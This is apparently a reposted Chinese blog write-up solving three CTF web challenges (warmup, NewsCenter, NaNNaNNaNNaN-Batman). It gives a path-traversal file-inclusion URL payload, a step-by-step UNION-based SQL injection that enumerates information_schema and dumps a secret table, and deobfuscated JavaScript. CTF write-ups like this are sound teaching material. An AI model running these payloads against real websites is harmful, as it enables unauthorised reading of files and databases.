攻防世界WEB高手进阶区warmup,NewsCenter,NaNNaNNaNNaN-Batman

本文阅读 2 分钟
首页 安全分享,WEB安全 正文

目录

warmup

题目介绍

解题思路

访问靶场

查看source.php

查看hint.php

绕过

构造payload

找到flag

NewsCenter

题目介绍

解题思路

访问靶场

sql手工注入

找到flag

NaNNaNNaNNaN-Batman

题目介绍

解题思路

查看文件

加上后缀名,以html形式打开

将eval函数改为alert

查看代码

返回eval页面

找到flag

题目介绍

img

解题思路

访问靶场

img

F12查看源代码

img

查看source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

查看hint.php

发现flag在ffffllllaaaagggg下

img

绕过

步骤一:

img

只要我们传的参数是source.php或者hint.php则返回真

如果不满足继续往下判断

步骤二:

img

取传进参数首次出现?前的部分

再进行白名单判断

如果还不满足继续往下判断

步骤三:

img

先把传进的参数做urldecode

接着就和第二步一样

都不满足就输出"you can't see it"并且返回假

要想满足这些条件那我们传的参数就只能是这种形式

构造payload

http://111.200.241.244:57432/source.php?file=hint.php?/../../../../../../ffffllllaaaagggg

img

找到flag

flag{25e7bce6005c4e0c983fb97297ac6e5a}

题目介绍

img

解题思路

访问靶场

img

sql手工注入

判断是否具有注入点

1' and 1=1-- -

img

查看列数

1' order by 3-- -

从1开始试,到4页面回显不正常,所以才用到3

img

联合查询

1' union select 1,2,3-- -

img

查找库名

img

查找表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'-- -

img

查找字段

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'-- -

img

news表下没有找到flag,查看secret_table表

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table'-- -

img

查看字段值(flag)

1' union select 1,2,(select group_concat(id,0x3a,fl4g) from secret_table)-- -

img

找到flag

QCTF{sq1_inJec7ion_ezzz}

题目介绍

img

解题思路

查看文件

img

加上后缀名,以html形式打开

img

将eval函数改为alert

img

查看页面

img

查看代码

function $(){

var e=document.getElementById("c").value;

if(e.length==16)

if(e.match(/^be0f23/)!=null)

if(e.match(/233ac/)!=null)

if(e.match(/e98aa$/)!=null)

if(e.match(/c7be9/)!=null){

var t=["fl","s_a","i","e}"];

var n=["a","_h0l","n"];

var r=["g{","e","_0"];

var i=["it'","_","n"];

var s=[t,n,r,i];

for(var o=0;o<13;++o){

document.write(s[o%4][0]);s[o%4].splice(0,1)

}

}

}

document.write('<input id="c"><button onclick=$()>Ok</button>');

delete

返回eval页面

满足正则

满足length==16,正则的话^为开始符号,$为结尾符号,拼接一下:be0f233ac7be98aa,输入就拿到flag了。

img

找到flag

flag{it's_a_h0le_in_0ne}

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125225808
-- 展开阅读全文 --
BUUCTF Web [极客大挑战 2019]Knife
« 上一篇 06-24
安全面试之XSS(跨站脚本攻击)
下一篇 » 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复